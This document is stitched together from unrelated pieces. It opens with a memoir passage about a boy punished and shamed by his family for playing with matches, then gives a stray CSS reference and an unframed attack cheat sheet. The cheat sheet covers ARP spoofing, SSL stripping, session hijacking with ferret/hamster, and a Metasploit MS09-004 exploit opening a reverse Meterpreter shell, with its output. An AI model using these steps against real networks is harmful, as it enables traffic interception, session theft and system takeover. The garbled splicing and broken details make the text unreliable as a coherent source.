A few nights later, as my brother washed dishes, and I dried them, my father came into the kitchen, his unlit after supper cigar between his teeth. He reached into the package of matches on the top shelf to grab a box, grunting “What the hell is your mother burning with all those matches? I just bought these a few weeks ago”. I blanched as white as the kitchen sink, fearing I would soon be found out. Once my father left, my brother turned with a hellish smirk that smacked of trouble.  Slowly he began, “Mom isn’t burning anything, is she? I saw Mrs. V today.” He was pacing himself to make me suffer. The last drops of blood from my ashen face oozed into my feet. He knew EVERYTHING. “Please don’t tell Mom!” I quietly squealed so my parents didn’t hear our conversation in the next room. “Don’t worry, I won’t tell Mom. I won’t tell Dad either”. Could he be serious? Would he really cover for me? I could not image him ever being that kind to his little brother, not with this morsel of information which could totally undo all the good I had accomplished in my time on this earth. He told me he’d never say a thing, as long as I did whatever he wanted me to do. In essence, I was to become his personal slave for the remainder of the summer. It seemed little payment for so great a favor.

For the first week, things went rather well. I made his bed, straightened up his room, did odd chores he was expected to do. What I resented was doing his biding like: “Get me something to drink”, “Give me your allowance” (25 cents a week!), “Make me a sandwich”. Those things made me boil. But I complied without a peep. It was too dangerous to risk the consequences and he would carry through without hesitation. Not too long after, on a hot Saturday afternoon, my brother was washing our car because we were going on a family picnic to Whipp’s Ledges Reservation the next day. The entire family attended - grandparents, aunts, uncles and cousins – a dozen of us. We did it every year and it was one of the funnest places to all be together. Not only would we picnic from dawn to dusk in the beautiful wooded park, eating ourselves sick the entire day, the place had incredible rock ledges to climb and we kids played until exhausted. I loved being with my cousins who were like the sisters I didn’t have.

Brother was angry since he couldn’t pass the car cleaning duty off onto me because I was too young and my father expected him to do it. It would give Dad an excuse to criticize my brother and scream at him for doing a disappointing job. Brother drafted me as his go-fer. He was running me ragged and enjoying every second of my indentured duty. In the course of an hour or so I had hauled buckets, rags, sponges of every shape and color, cleaners and towels till I thought I would drop from the sun and his commands. The final blow came when he requested a drink of water. The first time it was too small a glass, the second too warm. He demanded a big glass with tons of ice. I’d had it with being his manservant. I filled one of our tall, aluminum tumblers with ice cubes to the top, added half a dozen healthy shakes of tabasco sauce out of spite, then filled it with cold, cold water. I handed it to him, watching the entire glass gulped in seconds. As he gave it back, ready to belch and make me laugh like always, the hotness hit and he screwed up his face and began choking, fanning his burning open mouth. It took a minute or so, but he found his voice and spat out “You…are…going…to…DIE for this!”

Of course he flew into the house, called our parents into the kitchen and told them what Mrs V had seen and said. He explained to my father where all his Ohio Blue Tip matches had gone. I heard it all through the open kitchen window, standing in the driveway by the dripping car in the sun, realizing that my life as I knew it was now over. This wasn’t a small infraction. They might even send me away to reform school over this. That was always my father’s last resort threat to my brother when he ran out of swear words and insults. I had no idea where this horrendous school was, but I sensed I might find out very soon. I just wanted to die.

They called me into the house and my mother began ranting before I was even in their sight. “How could you do this? Why did you do this? Was it Lee’s idea? You could have burned the field down! You could have burned a house down!! What’s the matter with you?”. I just let her go on and on. I knew she didn’t want me to answer her questions because she wasn’t listening to anyone but herself. And there were no answers to any of her questions anyway. The entire time my father never said a word. He looked at me like he couldn’t believe it, or perhaps didn’t want to believe I could have ever done anything so……bad. My mother continued painfully overacting her private mad scene until I simply tuned her out. Once I did, I remember feeling totally overwhelmed by shame.

Then came the punishment. At first my father said I would not go to the family picnic the next day, but instead be locked in the storage area of the basement for the day. My mother reminded him I was only eight and was not responsible enough to stay in the house alone. “For God’s sake he might burn our house down before we get home!”. No, it was decided I would go to the picnic but I could not talk to anyone or, of course, play at all. I would sit at my own table away from everyone. She immediately got on the telephone, calling everyone in the family to tell them the story of her evil child who’d spent his summer vacation playing with matches. I was mortified.

What should have been a fun car ride was odious. My mother would not stop carrying on the drama of what might have happened, how ashamed she was, or how she could “never ever even hold her head up” the next time she saw Mrs. V. My brother just sat in the back seat next to me, shit eating grin from ear to ear. God how I hated his guts now. He had finally given me a reason to want to see him dead in his coffin and oh I did! Once we arrived at the park, I silently helped unload our car. The family was uneasy and not bubbly and fun like usual. I kept my eyes aimed at my sneakers, not wanting to risk a false move of any kind. I was once again the center of attention, but this time because I was their pariah. My father walked me to the next wooden picnic table over from where my mother was setting up things for our family. “You sit here by yourself and behave”, he said it sternly but without anger. I felt like a fool.

Then it started. One by one each member of the family came to my isolated table, sat next to me and warned me of the many dangers of playing with matches. I knew my mother had put them up to it because it was so obviously choreographed and luckily some were uncomfortable, having to counsel somebody else’s kid so they were brief. It was Gramma who really got to me. She didn’t even sit down. She stood several feet away and shouted “firebug!”, which echoed into the open woods. I wondered where she’d even heard that word before. It stung the most. And with that lone pejorative she turned and walked away from me. It was a public shaming and the bitterest of medicines to swallow.

I didn’t spend the entire day alone at my table of disgrace. Once everyone started eating, my mother fixed me a plate and halfway en route delivering it, she told me to take it and go sit next to my father. When everyone went off to the ledges in the woods, Gramma relented and called me over to her table. The men were all playing cards, drinking beer, listening to the ball game on a transistor radio. She wrapped her arms around me and talked softly, rocking a big eight-year-old baby, telling me I really was a good boy but that I needed to pray hard to keep out of trouble. It was the first time since Mrs. V’s unfortunate discovery that I felt there was still hope for me and my hard-earned status in the family.

Go to w3schools.com for a list of CSS commands.

1.
echo 1 > /proc/sys/net/ipv4/ip_foward
arpspoof -i eth0 -t 192.168.1.104 192.168.1.1

2.
ip tables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 10000
sslstrip -p -k -f

3.
/pentest/sniffers/hamster/ferret -i eth0

4.
/pentest/sniffers/hamster/hamster

5.
Firefox set proxy to 127.0.0.1 port 1234

6. http://hamster

press refresh and any person on 192.168.1.1 network accessing port http site should show up

msf exploit(ms09_004_sp_replwritetovarbin) > set lhost Tester-IP-Address

msf exploit(ms09_004_sp_replwritetovarbin) > set rhost Client-IP-Address

msf exploit(ms09_004_sp_replwritetovarbin) > exploit

[*] Started reverse handler on Tester-IP-Address:4444
[*] Attempting automatic target detection…
[*] Automatically detected target “MSSQL 2005 SP0 (9.00.1399.06)”
[*] Redirecting flow to 0x10e860f via call to our faked vtable ptr @ 0x2201ca8
[*] Sending stage (752128 bytes) to Client-IP-Address
[*] Meterpreter session 2 opened (Tester-IP-Address:4444 -> Client-IP-Address:1053) at 1433-02-01 12:26:12 +0100

meterpreter > shell
Process 2324 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

http://www.myexploit.wordpress.com/mock-pentest-one/

#MyExploitHQ